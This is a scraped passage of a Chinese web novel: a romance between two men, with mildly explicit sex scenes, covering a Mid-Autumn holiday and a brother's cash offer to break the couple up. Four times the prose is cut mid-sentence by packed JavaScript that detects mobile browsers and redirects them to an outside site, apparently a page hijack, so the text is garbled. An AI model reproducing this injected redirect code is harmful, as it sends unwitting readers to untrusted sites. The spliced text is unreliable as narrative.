l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171861|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识地脱口而出:“游乐园,我长这么大一次都没去过。” 厉时修当即带他到游乐园将所有项目玩了个遍,最后两人在巨大的摩天轮前驻足。 柯向阳看着摩天轮下的一对对情侣,还是选择了退缩。 “怎么?不喜欢摩天轮吗?”厉时修问他。 柯向阳抠抠手指:“都是情侣,我们两个男的好尴尬。” 厉时修沉默片刻,点头:“也是,还得排队,去玩别的吧。” “好。” 那次之后,厉时修就出国了,柯向阳后悔过没能和他坐一次摩天轮,原以为再也不会有机会了。 柯向阳躺在床上意识恍惚,唇上倏地传来一阵刺痛:“干嘛咬我?” “在想什么?这么不专心。”厉时修不满地加重手上的力道。 柯向阳闷哼一声,眼尾泛红:“想到高考后我们一起去游乐园,其实我很想跟你坐摩天轮的。” 厉时修吻去他眼角的泪水,目光柔和:“我也是。” 柯向阳弯了弯眼睛:“还好,总算坐上了。” 厉时修扶着柯向阳的腰起身:“好了,别想摩天轮了,现在你有别的东西要坐。” 柯向阳:“……” 厉时修憋了半个月一点没破功,柯向阳知道自己今晚在劫难逃。 手上的结痂在慢慢脱落,但厉时修依然不让他用手臂撑着,只能换成现在这个姿势。 靠着自身重量的影响,简直进到一个前所未有的深度。柯向阳被颠得说不出话,整个人像是熟透的虾子,直冒热气,连一句完整的话都说不出口:“太……快了……慢……” 厉时修停下动作:“那你自己动。” 一句话将柯向阳堵得哑口无言,自己动什么的,也太羞耻了吧?而且他的腿现在根本没力气做这种类似深蹲的动作。 捏了捏柯向阳软成面条似的两条腿,厉时修不客气地说:“早让你跟我一起锻炼了。” 柯向阳一声不吭将头埋进厉时修的颈窝,开始装鸵鸟。 * 忙了大半宿,柯向阳总算有机会把自己准备的七夕礼物送出去。 小巧的礼盒里装着一对白玛瑙袖扣,造型简约不失精致,刚好适合日常通勤。 “不是什么大牌子,你将就戴戴吧。”以柯向阳的财力,几千块钱的东西已经很能表达心意了。 “谢谢,我很喜欢。”厉时修亲了亲柯向阳的额头,“你的礼物不方便拿上来,明天带你去看。” 什么东西还能不方便拿上来?柯向阳有些好奇,但他实在太累了,没一会就睡了过去。 第二天,看着车库里多出来的一辆车,柯向阳张着的嘴半天合不上。 “不是什么豪车,你将就开开吧。”厉时修把车钥匙丢给他。 难怪前阵子厉时修把他的身份证要走了,说是工作上有需要,原来是偷偷拿去买车了。 柯向阳慌乱地接住钥匙,连连摇头:“这太贵重了,我不能收。” 四五十万的车子对普通人来说完全算得上豪车,他送的袖扣才三千多! 厉时修皱眉:“我们之间还要计较这些吗?” 柯向阳的拒绝显然是没有用的。 厉时修握住柯向阳的手,按下开锁键:“走吧,带我兜兜风。” 41. 中秋 又过了一个星期,柯向阳手臂上的结痂终于全部脱落,留下一片肉色的疤痕。 厉时修不知从哪弄来一盒药膏,天天帮柯向阳涂在疤痕处,没多久就淡到不怎么看得出来了。 小乖的伤口也去拆了线,恢复良好,以后可以当一只不用受发情期折磨的快乐小猫了。 芝麻、面包和牛奶跟小乖一向亲近,如今又能围在它身边让它给舔毛了。 小猫长到三个月,按理说该迎来尴尬期,也不知是不是伙食太好,三只小猫依旧圆滚滚的,可爱又调皮,隐隐具备了拆家的潜质。 田园猫掉毛没有宠物猫严重,但数量在那,还喜欢追逐打闹,家里终于变成了猫毛满天飞的样子。 原本三天来一趟的钟点工现在每天都要来打扫一次。 柯向阳扶起再次被牛奶踹飞的垃圾桶,不忘朝乔梦书炫耀:“看见没?我们家牛奶是不是会轻功?” “慈父多败儿。”乔梦书翻了个白眼,完全忘记自己是如何纵容家里那两只小猫的。 乔梦书是来找柯向阳去看车的,坐上柯向阳的新车时,面露幽怨:“说好一起买车的,你怎么先开上了?” 柯向阳心虚地表示男朋友送的礼物,他也不好拒绝。 乔梦书试开了一下,觉得这车哪哪都好,就是太贵了,根本买不起同款。最后房子没看好,倒是先买了辆十万左右的国产车,以后大家都是有车一族了。 今年的中秋和国庆凑到一起放假,厉时修得回首都的主宅过节,他不想丢下柯向阳一个人,提议带柯向阳一起回去,顺便在首都玩几天。 柯向阳把头摇得跟拨浪鼓似的:“不行不行不行,你家里都不知道我们的事,我跟你回去万一把你家闹翻天了,还过什么节啊?” 厉时修却不在意:“他们迟早要知道的。” “那也不能这么突然啊,太吓人了。”柯向阳自己都受不了这个刺激,更别说厉时修家里的那些长辈了。 “可这次不说,很快又要过年了,到时候你也要一个人过吗?”厉时修捧着柯向阳的脸,认真地问。 柯向阳:“我没关系的,又不是没有一个人过过,早就习惯了。” 厉时修皱眉:“我不想让你一个人。” 柯向阳安抚道:“我们会在一起很久很久,还有那么多时间,可以慢慢来呀。” 这句话倒是没错,厉时修被顺了毛,无奈妥协。 * 国庆这种出行高峰期,旅游的人比五一那会更多,柯向阳完全没有要出门的念头,还是与厉时修一起窝在家里比较惬意。 当然,如果他能克制一点,就更好了。 短短五天时间,柯向阳解锁了许多新地点与新姿势,感觉整个人都被掏空了。 中秋前一天,厉时修收拾好准备出发时柯向阳还躺在床上补觉,听到动静挣扎着想要起来送送他。 厉时修把人按回床上,亲亲他的额头:“你继续睡,到机场了给你发消息。” 等柯向阳睡醒,厉时修已经在飞往首都的飞机上了。 他揉着腰坐在沙发上,感觉家里一下变得空荡荡,十分冷清,明明只是少了一个人而已。 以往这种节日还会接到柯建川问他要不要回家吃饭的电话,今年肯定是不可能接到了。 “小乖,过来。”柯向阳朝正在不远处玩闹的小猫招招手。 小乖“喵喵”叫着小跑过来,跳到柯向阳腿上趴好,开始打呼呼。 柯向阳摸摸小乖的头,叹了口气:“今年只能我们一起过中秋了。” 心情低落不过两秒,芝麻轻巧地蹿到柯向阳身后,对着沙发靠背疯狂磨爪子,在地上争夺玩具球的面包和牛奶打得不可开交,转眼间,牛奶一个飞踢,玩具球精准落入它们的水碗,溅出一地水花。 柯向阳:…… 好吧,一个人在家也很热闹。 鹤水市飞往首都的行程只需要三个小时,一落地,厉时修立即给柯向阳报了平安,收到柯向阳发来的几张照片,全是几只猫咪捣乱的画面,不由勾起嘴角。 从山脚到厉家主宅大门有整整三公里的路程,道路两侧每隔五十米就立着一盏仿古铜灯,等到晚上灯光亮起,汇成一条长长的光河,也是一道独特的风景线。 道路尽头,两扇厚重的雕花铁门缓缓打开,车子一路向前,刚在主宅前厅门口的圆形喷泉旁停稳,便有佣人上前为他们打开车门。 许久没有回来,厉时修先去看望了一下老爷子,随后到书房跟他爸汇报了一下鹤水市分公司的情况,父子俩一直说到晚饭时间才出来。 厉家与他同辈的兄弟姐妹一共四个,大姐厉时涵,二哥厉时谨,老幺厉时谦。 厉时涵已经是内定的东盛集团继承人,厉时谨则一直负责管理东盛旗下的几家娱乐公司,厉时修刚回国,自愿接管鹤水市的分公司,只有厉时谦还在基层历练,不堪大任。 饭后,厉时修被拉着与其他长辈们寒暄了会,马不停蹄地回了房。 柯向阳在家左等右等,终于等来厉时修的视频通话,按下接通键,露出一个大笑脸:“忙完了吗?” 厉时修:“嗯,你吃饭了吗?” “吃过啦。”柯向阳仔细汇报了一通自己吃的东西。 厉时修耐心听完,又问:“明天有什么安排?” “在家待着吧,晚上吃顿大餐。”明天大家都得在家过节,柯向阳没有安排,准备早早睡觉,睡醒就可以去机场迎接厉时修了。 厉时修没有说话,静静地看着柯向阳。 柯向阳被看得不好意思:“怎么啦?” 许久,厉时修轻叹一口气,道:“想你了。” 柯向阳立刻觉得鼻子发酸,之前两人分开得更远更久,却从未像这次一般难以忍受。 “你不想我吗?”厉时修轻声询问,手机另一头的柯向阳垂着眼,看不清表情。 “想。”柯向阳只敢说一个字,怕说多了会漏出哭腔,他不想让厉时修担心。 “再忍忍,后天就能见到了。”厉时修心头一揪,别无他法。 “嗯。” 挂断通话,柯向阳回到卧室,换上厉时修的居家服,蜷缩在床上拼命汲取着他的气息。 谈恋爱真的会让人变矫情,这么大的人还因为想念哭哭啼啼,不像话。 * 中秋当天,厉时修给柯向阳订了一日三餐,掐着点送来,尤其是晚上那顿,格外丰盛。 柯向阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171862|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍下桌上的菜发给厉时修:【太多了,一个人根本吃不完。】 厉时修:【挑你喜欢的吃,吃不完就不吃了。】 柯向阳:【全是我喜欢的啊!好浪费!】 厉时修:【那你就多吃点,乖。】 柯向阳看见那个“乖”字,发了一张表情包过去:【(我乖,可以亲亲我吗)】 厉时修手上的动作一顿,点了好几下系统里的亲吻表情回复柯向阳,因为吃饭心不在焉,被他爸训了一嘴。 “我看老三是有情况了。”厉时谨凑到厉时涵身边道。 厉时涵眉头微动,看向一直安分守己降低存在感的厉时谦,直觉他知道点什么:“等会吃完饭把小四叫出去。” 厉时谨:“好的。” 另一边的柯向阳正看着厉时修发来的一排小黄脸,乐不可支。 柯向阳给小猫们开了罐头,把自己的晚餐全部挪到茶几上,一边吃饭一边看电视,自娱自乐也挺开心。 只是吃着吃着,又开始想厉时修了。 两人断断续续地在微信上联系着,不知不觉到了晚上九点,桌上的菜还剩很多,柯向阳打算收拾收拾放冰箱,明天可以不用点外卖了。 门铃响起,柯向阳正奇怪厉时修又给自己点了什么东西,打开门却看见门口站着乔梦书和乔梦瑶两人。 “中秋快乐!”兄妹俩一边说着祝福语,一边熟练地换鞋进门。 “中秋快乐,你们怎么来了?”柯向阳有些没反应过来。 “家里的团圆饭吃完了,来陪你过节呀。”乔梦书身后背着一个大猫包,他把年糕和糯米带来了,“中秋节小猫咪也得一家团圆。” 闻言,柯向阳顿觉心中一暖。 “我靠,你一个人吃这么好?!”乔梦书看见茶几上没来得及收的晚餐,也不嫌弃是吃剩的,随手拿了副一次性餐具,往地上一坐就吃上了,“酒呢?这么多下酒菜,怎么能没有酒呢?” “早说要过来,我就等你们一起吃了。”柯向阳从冰箱拿了几罐啤酒,转头看向乔梦瑶,“你没跟程嘉弘出去约会啊?” “约啦,跟他约了在你这见,他一会就过来。”乔梦瑶正在挤猫条,身边围了一圈猫。 刚说完,门铃又响了,柯向阳还以为是程嘉弘到了,一开门,却见江景意拎着一盒月饼朝他打了个招呼。 柯向阳惊讶道:“江哥,你怎么也来了?” “在我姑姑家吃完饭,想着顺路来你这坐坐,方便吧?”江景意问话的同时脚已经迈进来了,“你为什么要说‘也’?” 不等柯向阳回答,乔梦书从客厅伸长脖子,朝江景意挥了挥手。 江景意:“哈哈,好巧。” 电梯铃响,这回是程嘉弘到了。 几人围坐一桌,热热闹闹又吃了一顿团圆饭。 柯向阳望着这群胜似亲人的朋友,露出一个发自内心的笑容。 “来来来,我们拍个合照,一人抱一只小猫,小乖坐中间。”乔梦瑶掏出随身携带的自拍杆。 手机屏幕亮起,厉时修点进对话框,看见合照里柯向阳笑得一脸灿烂,原本还有几分不耐的眼神瞬间柔和。 【厉哥,中秋节快乐~我一点也不孤单哦!】 42. 赏月 月到中秋分外明,眼下正是赏月的好时候。 柯向阳将江景意带来的月饼切成小块摆在盘子里,又用桂花乌龙茶包泡了几杯茶,一起端到阳台。 厉时修的房子位处高层,低头,整座城市的灯火在脚下铺成流淌的星河,抬首,开阔的夜空仿若深色幕布,一轮明月高悬于顶,皎洁如玉盘。 张扬的月色倾洒在阳台上,为所有人镀上一层荧光,亮得晃眼。 柯向阳伸出手,张开五指,月光便从指缝漏下,在地面投射出一个清晰的影子。 乔梦书见状,半开玩笑地警告:“别用手指月亮,小心晚上睡觉的时候月亮下来割你耳朵。” 江景意笑着附和:“小时候我外婆也是这么跟我说的。” “看,小狗。”程嘉弘用手指比出一个小狗的剪影,示意乔梦瑶看。 “什么嘛,好幼稚啊你。”乔梦瑶轻轻锤了他一下。 程嘉弘变换手势,曲起手指比了个爱心,逗得乔梦瑶哈哈大笑。 乔梦书无语:“好不容易不用吃你和厉时修的狗粮了,他们俩也没放过我。” “这不是挺好的吗?”要是他们不撒狗粮,乔梦书大概只会更糟心,“话说,你们是不是准备订婚了啊?” “嗯,年底订婚,明年十月结婚。”说到这,程嘉弘面上露出两分羞怯和期待。 “好快啊。”柯向阳惊讶道,转念一想又觉得挺正常,人家谈恋爱本来就是奔着结婚去的,不早点定下反而奇怪。 “到时候你来给我当伴郎吗?”程嘉弘顺势邀约。 “哈哈,可以啊,我还没当过伴郎呢。”柯向阳爽快应下。 几人来得晚,吃吃喝喝加赏月,时间一下过了十二点,该各回各家了。 临走前,程嘉弘和江景意还帮着把垃圾带走了。 柯向阳送走朋友,重新回到阳台看月亮。 又想到乔梦瑶和程嘉弘要结婚的事,心中除了祝福,还有几分羡慕,毕竟他跟厉时修这辈子都不可能拥有受法律承认和保护的婚姻关系。 柯向阳甩甩头,又拍拍脸,将失落的情绪抛之脑后。去年这个时候,他跟乔梦书一起吃完饭,一个人待在老破小的出租屋里,打开窗只能看见其它楼栋斑驳的墙皮,和厉时修的联系也只有对话框里简短的两句“中秋快乐”,如今他什么都有了,已经够幸福了。 拿出手机,与厉时修的对话还停留在对方的那句“少喝点酒”,柯向阳一股脑地回复了一大堆消息,将没回消息的时间里和大家一起做了什么说了什么事无巨细地转述一遍。 等柯向阳洗完澡出来,手机还是毫无动静,心里觉得有些奇怪,难道是睡了?可是睡觉前不应该跟他说一声“晚安”吗?大概是在处理什么事吧。 柯向阳想着再等等好了,坐在沙发上心不在焉地看电视,时不时瞄两眼手机,结果等着等着就这么睡着了。 * 不知睡了多久,脸上传来一阵羽毛拂过的触感,柯向阳以为是小猫在舔自己,挥了挥手:“唔,再睡会、再睡会就起来给你们弄吃的……” 耳边响起一声轻笑,柯向阳迷迷糊糊地睁开眼,沙发前蹲着个熟悉的身影,梦里的羽毛化作指尖,轻轻撩起他额前的碎发。 是在做梦吗?柯向阳仰头看向阳台外的天色,还很暗,这个点厉时修怎么会出现在他面前呢?很明显是在做梦。 柯向阳重新躺好,闭上眼准备继续睡,却听见厉时修说:“怎么这么迷糊?起来,回卧室睡。” 声音太过真切,柯向阳猛地坐起身,不顾身上盖着的毯子滑落在地,惊呼:“厉哥?真的是你?” “不是我还有谁?”厉时修干脆把人打横抱起,往房间走去。 “你怎么回来了?不是,现在几点啊?你……”柯向阳看见厉时修下巴上冒出的浅浅胡茬,一副风尘仆仆的模样,剩下的话全被喉咙里的酸胀堵了回去。 “四点多吧,我看有凌晨的飞机,就直接回来了。”厉时修把人放到床上,吻了吻他的眼角,“你先睡,我去洗个澡。” 柯向阳望着厉时修走向浴室的背影,既心疼又感动,半天说不出话。 厉时修洗得很快,钻进被窝时身上还散发着一阵舒爽的凉意。 “干嘛要赶凌晨的飞机?又不差这点时间。”柯向阳的语气带上两分责怪。 “想早点回来见你,你不是也想我了吗?怎么还不高兴了?”厉时修伸手把柯向阳揽进怀里,重重呼出一口气。 柯向阳趴在他的胸口上,闷闷道:“我是心疼你,过个节把自己搞得那么辛苦干嘛。” “心疼的话,可以犒劳一下我,我看你现在也不困了。”厉时修一个转身,把柯向阳压在身下,一双眼睛亮得出奇。 被某个生龙活虎的玩意抵着,柯向阳大惊:“你不累啊?” 厉时修动手剥下柯向阳的睡衣:“你试试就知道了。” 两人一直折腾到天色大亮,柯向阳累得连根手指头都动不了,厉时修满足地亲亲他:“睡吧。” * 今年的最后一个法定节假日就这么猝不及防地结束了。 厉时谦在中秋那晚被他大姐和二哥逮住问了很久的话,没能和厉时修一起回来,直到假期最后一天才从首都回到鹤水市。 国庆后的第一个工作日是周四,上完三天又可以放一天的假,对于打工人来说,这种安排比起以往连上六天放一天的调休已经好上许多。 至少柯向阳是这样觉得的,只是看到厉时谦的脸色,让他不禁怀疑两人是不是在同一家公司上班。 “小四,你怎么了?脸色好难看,生病了吗?”柯向阳关心地问道。 厉时谦摇摇头,神色复杂地看着柯向阳,欲言又止了好几次。 “你想说什么就说啊,干嘛一直用那种眼神看我。”柯向阳被看得莫名其妙。 厉时谦挣扎片刻:“算了,没什么。” 柯向阳:“……” 大姐和二哥那晚的话仍在耳边回响,厉时谦的内心备受煎熬,却只能在心中暗暗叫苦,为什么要折磨他这个没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171863|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有话语权的老幺啊! 江景意看着厉时谦变幻莫测的表情,凑到柯向阳身边:“他怎么了?” “我也不知道啊。”柯向阳莫名其妙。 江景意:“终于在沉默中变态了吗?” 柯向阳:“是……吧?” 厉时谦耳朵一动,捕捉到关键词,用力一拍桌子:“你才变态,你全家都变态!” 江景意见状,朝柯向阳道:“看起来没什么问题,别管他了。” 柯向阳点头附和:“嗯嗯,他平时就总是咋咋呼呼。” 见柯向阳还有心情和别人一起取笑自己,厉时谦指了指他,恨铁不成钢地转身离去,留下柯向阳和江景意面面相觑。 晚上回家,柯向阳向厉时修提了一嘴,得到的回答也是一句“别管他”。 另一边,厉时谦的住处里,一个气质出众的男人正在毫不客气地使唤厉时谦。 “二哥,你准备在我这待多久啊?”厉时谦受不了地问。 厉时谨身穿紫色真丝睡袍,坐在沙发上优雅地端着高脚杯:“等事情办完就走。” 厉时谦:“那你什么时候能办完呢?” 厉时谨看了眼手机上的日期:“这周天,用你的名义帮我把人约出来。” 厉时谦一脸生无可恋:“帮你约人可以,但是你得保证不要做什么过分的事,否则我会死得很难看。” 厉时谨斜了他一眼:“什么时候轮到你向我要保证了?你先管好自己的嘴,别让老三知道了。” 厉时谦抱头崩溃:“我肯定不敢让三哥知道啊!我就一个请求,求求你千万别再搞你的什么破剧本了!!” * 中秋过后,天气仍没有半点要降温的迹象。 在家舒舒服服吹着空调的柯向阳突然收到厉时谦让他一个人前往的邀约,不得不找个借口挣脱厉时修的怀抱,顶着大下午的高温出门。 这种时候,有车的好处就体现出来了,起码不用像骑车一样被太阳暴晒。 到达目的地,看见厉时谦身边与他有几分相似的男人,柯向阳心头咯噔一下,浮现出一股不好的预感。 “阳哥,这是我二哥,厉时谨,他说想跟你聊聊。”厉时谦双手合十,满脸写着“我是被逼的”,“你千万不要告诉我三哥是我帮二哥约的你啊!” 柯向阳总算知道这几天厉时谦的异样是因何而起。 厉时谨上下打量了一番柯向阳,随后勾起嘴角,露出一个意味不明的笑,淡淡开口:“你好,请坐。” “你好。”柯向阳礼貌就座,在心里把厉时谦狠狠骂了一顿,这种事至少可以提前透露一下风声吧,害他一点准备都没有! 一旁的厉时谦如坐针毡,在得到厉时谨的示意后,头也不回地跑了,柯向阳一脸无语,怎会有如此不讲义气的家伙?他绝对要找厉时修告状。 厉时谨将他的表情尽收眼底,不知从什么地方掏出一本支票,开门见山地问:“柯先生,你要多少钱才肯离开我弟弟?” 柯向阳:“……” 43. 二哥 柯向阳感觉厉家的人,除了厉时修,其余的是不是多多少少都有些毛病。 初见厉时谦时就隐隐这么觉得了,现在看见厉时谨,这种感觉更甚。 那句台词是什么鬼?在拍狗血剧吗?柯向阳忍住想要环视一圈找找有没有什么隐形摄像头的冲动,艰难维持住面上的表情。 见柯向阳一直不回话,厉时谨不满地再次开口:“柯先生,你是个聪明人,应该明白我的来意。” 柯向阳抱歉地说:“不好意思,我不是很聪明。” 厉时谨一噎,端起面前的咖啡掩饰抽动的嘴角:“不管怎么说,家里是不会同意老三和男人在一起的,你可以理解吧?” 柯向阳点点头:“可以理解,我爸也不同意我跟男人在一起,已经跟我断绝关系了。” 连和亲爹断绝关系都说得这么云淡风轻,厉时谨意识到面前的柯向阳大概不像他的长相看起来那么人畜无害:“所以,你要多少钱才愿意离开我弟弟?” “我不是因为钱跟厉哥在一起的。”柯向阳正襟危坐,虽然这个展开很狗血,但该走的流程还得走一走,该说的话也得说清楚,“我们俩是互相喜欢才会在一起。” “你这种人我见多了,不愿意承认也没关系,一百万够不够?”厉时谨打开笔盖,要往支票上填数字。 “不用不用,真的不用!”柯向阳连连摆手。 厉时谨挑眉:“不够?五百万呢?” “都说了不是因为钱了,你怎么不听人说话啊?”柯向阳皱起眉头,怀疑厉时谨的脑子是不是真的有问题。 “看来你果然是个聪明人,知道和老三在一起能得到的不仅仅是五百万,不过我得告诉你,做人不能太贪心,小心得不偿失。”厉时谨早有预料,盖上笔盖,得意说出自己精心编排的台词。 柯向阳:“……” 厉时谨:“现在老三还是厉家三少爷,看着风光无限,但跟你在一起的事一旦曝光,他马上就会被逐出家门,收回所有财产,变成一个穷光蛋。” 柯向阳闻言,面上终于露出一丝担忧:“公开我们的关系,厉哥真的会被逐出家门吗?” 厉时谨趁热打铁:“当然!我们厉家家风严正,怎么会容许一个大男人进门啊?据我所知,你现在的工作是老三提供的吧?他如果被辞退,你也得跟着走,到时候你们两个失业的人,无家可归,挨饿受冻,还有心思谈情说爱吗?” 柯向阳举手反驳:“我们可以找别的工作,赚钱的方式那么多,不会无家可归,挨饿受冻的。” 厉时谨黑着脸:“我发现你真的很会抬杠。” 柯向阳:“?” 厉时谨:“那你忍心看着老三为了你跟家里断绝关系?” “我尊重他的一切选择。”柯向阳顿了一下,再次强调:“我也跟我爸断绝关系了。” “你们这种普通家庭和我们家能一样吗?”这小子油盐不进啊!不愧是能跟他们家老三谈恋爱的男人。 柯向阳撇撇嘴:“二哥,你怎么歧视普通人啊?” “……”这天真是聊不下去了! “二哥,你的话都说完了吗?”见厉时谨沉默许久,柯向阳试探性地问道。 “没有!”厉时谨怒道,“别叫我二哥。” 柯向阳:“哦,那你还要说什么?” 被柯向阳这么一打岔,厉时谨没了谈话的欲望,最后板着脸道:“反正我这次来的目的就是让你们分手,现在分手对你俩都好。” 柯向阳寻思了会,忍不住问:“好在哪啊?” 厉时谨心里那个气啊,直接甩出一张名片:“我会在这里再待几天,考虑好了随时联系我,对了,不许跟老三说我来找过你!” 目送厉时谨带着怒意离去的背影,再看看桌上只喝了一口的奶昔,秉着不浪费的原则,柯向阳决定把饮料喝完再走。 这家咖啡厅对面是一家酒店,柯向阳撑着下巴望向玻璃墙外,没想到居然看见两道熟悉的身影。 乔梦书和齐朔并肩从酒店大门走出,似乎还在说些什么,下一秒,一道人影从边上冒出,朝着齐朔的脸就是一拳。 柯向阳吓了一大跳,顾不上好奇那两人干了什么,连忙冲了出去。 从咖啡厅跑到对面不过一分钟的时间,齐朔已经挨了好几下揍了。 打人的是徐佑,一边打一边红着眼睛冲齐朔吼:“老子把你当兄弟,你居然睡我男朋友!” 柯向阳被吼得缩了缩脖子,转头看见乔梦书的脸,果然黑如锅底。 “谁是你男朋友啊!我们早就分手了,我跟齐朔也不是你想的那种关系,你这个疯子,给我住手!”乔梦书气得上去狠踹了徐佑两脚。 见乔梦书过来,徐佑一把推开齐朔,转而抱住乔梦书:“宝贝对不起,对不起!我知道错了,你再给我一次机会吧,我保证不会有下次了,我只爱你一个人,我不会跟别人结婚的,你原谅我吧!求你了。” “你放开我!你是不是有病啊?有病就去医院!”乔梦书不停地挣扎着,一副气得要吐血的样子。 柯向阳知道这个时候要是笑出声太不道德了,只能死死抿着唇,跟齐朔一起费尽全力把两人拉开。 齐朔擦了擦嘴角的血迹,挡在乔梦书身前,正色道:“徐佑,我承认我在追乔哥,但是你们已经分手了,他现在是单身,想和谁在一起是他的自由,希望你不要再来骚扰乔哥。” 徐佑脸一黑,又想动手,乔梦书扶着额拍拍齐朔的肩:“拜托你先闭嘴。” 虽然大下午的街上人不多,但他们在酒店门口打架的动静仍然引起了酒店工作人员的注意。 乔梦书上前客气地拒绝了他们想要帮忙报警的好意,转头朝两人怒道:“能不能别在这里丢人现眼了?你们不要脸我还要脸呢!” “是啊是啊,找个地方坐下慢慢说,别动手啊。”柯向阳贴心地帮乔梦书拍拍后背顺顺气,又指指对面,“那边就是咖啡厅,过去说吧,我奶昔还没喝完呢。” 乔梦书一脸疑惑:“你大下午地跑外面来喝奶昔?厉时修呢?” “哎呀,说来话长,先解决你的事,再来说我的事。”柯向阳看了好大一出戏,原本打算跟乔梦书分享自己今天的遭遇,此刻顿觉自己的事八卦等级简直直线下降。 乔梦书当然不可能拉着徐佑和齐朔一起促膝长谈,他们俩对他来说一个是前男友,一个只能算普通朋友,有什么好谈的? 冷静下来的徐佑面对乔梦书的驱赶,只留下一句还会来找他的话,转身离去。 乔梦书差点一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171864|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气没提上来,连带着看齐朔的目光都变得不耐烦起来:“你也走吧。” 齐朔抬起带伤的脸,可怜巴巴地看了乔梦书一眼,正欲离开。 “等等。”乔梦书不忍地叫住了他,“我带你去买个药。” * 等回到咖啡厅,柯向阳找到先前坐的位置,他的奶昔早被店员收拾走了。 “真不好意思,我还以为您走了,我再给您做一杯吧,你看看想喝点什么?”店员满脸歉意,不住道歉。 “不用不用,我确实离开得有点久,跟你没关系,你就当我刚来吧。”柯向阳兴致勃勃地看起菜单,朝乔梦书问道:“你要喝什么?” 乔梦书瘫在卡座上,幽幽道:“我要喝酒。” “大下午的喝什么酒啊,我给你点一杯黑糖珍珠牛奶吧。”柯向阳下好单,问:“你和齐朔真在一起了?” 乔梦书:“没有。” “那你俩怎么一起从酒店出来?我刚刚就坐在这,可全看见了。”柯向阳一脸“别想骗我”的表情。 “昨晚我跟同事出去聚餐喝多了,正好碰到齐朔,他本来要送我回家,结果我吐他身上了,就到附近酒店洗了个澡,因为衣服拿去清洗了,所以干脆在酒店直接睡了。”乔梦书简单解释了一遍。 柯向阳怀疑道:“纯睡觉?” “对,一人一张床,纯睡觉。” 柯向阳继续追问:“那徐佑是怎么回事?我看他好像在那里蹲守了很久的样子。” “这我哪知道,可能昨晚被他们同学看见了吧。”乔梦书抓了抓头发,满脸烦躁,“这家伙真是阴魂不散啊。” 柯向阳向他投去了同情的目光。 “别说我了,你又是咋回事?一大早跑出来喝奶昔,跟奸夫约会还是和厉时修吵架了?”乔梦书一下来了精神。 柯向阳将厉时谨来找他的事一五一十说了一遍,把乔梦书听得津津有味。 “这种豪门狗血剧也是让你碰上了。”乔梦书吸了口珍珠牛奶,黏在一起的珍珠将吸管堵得严严实实,不得不用小勺子舀着吃。 “你说,我要不要把这件事告诉厉哥啊?”柯向阳问。 “你想说就说呀,我觉得厉时修肯定是站在你这边的。”乔梦书嚼着劲道的珍珠,完美地解决了听八卦时没有瓜子的遗憾。 柯向阳:“会不会给他带来麻烦啊?” 乔梦书自己的事处理不好,并不妨碍他给柯向阳分析利弊:“什么麻烦不麻烦的,这是你们俩的事,肯定不能你一个人解决啊,而且你又解决不了,难道你真想像狗血剧的主角一样选择分手啊?你这么干我得笑你一辈子。” “我怎么可能会跟厉哥提分手!”柯向阳无语,他们好不容易才在一起的,现在正是蜜里调油的时候呢。 乔梦书:“那我劝你老老实实跟厉时修交待,别整独自承受那一出,到时候少不了一顿骂。” 柯向阳点点头,以厉时修的性格,确实有可能会挨骂。 “走吧,我开车了,送你回去。”柯向阳结了账,掏出自己的车钥匙。 才坐上车,厉时修的电话就来了,柯向阳系好安全带,接通电话:“喂,厉哥。” “小柯,你现在在哪?”厉时修平静的声线下,隐隐透着丝慌乱。 44. 谢礼 柯向阳回答:“我跟乔乔一起在外面,现在准备回去了,我先送一下乔乔。” 听到柯向阳正要回来的话,厉时修的心里安定了不少:“好,我等你,路上小心。” 乔梦书见状,识趣地说:“要不你别送我了,我自己回去吧。” “干嘛,又不差这一会,而且也不远。”柯向阳松开脚刹,车子缓缓从停车位驶出。 “我只是客气一下,要是你真不送我,我就跟你不客气了。”乔梦书挥挥拳头。 柯向阳笑骂:“一天天的花样百出。” 将乔梦书送走,柯向阳一个人驾车行驶在回家的路上,脑海中回想起厉时谨说过的话。 其实他早有预料,来自厉时修家里的阻力会很大,只是厉时修总给他一种可以解决所有问题的感觉,好像只要有他在,什么都不用操心。 如今厉时谨的出现算是给他们敲响警钟。 乔梦书说的对,这是他们俩的事,他不能想着一个人解决,得回去跟厉时修好好商量一下,最优解自然是争取获得厉家人的理解,理解不了也得为以后的日子做打算。 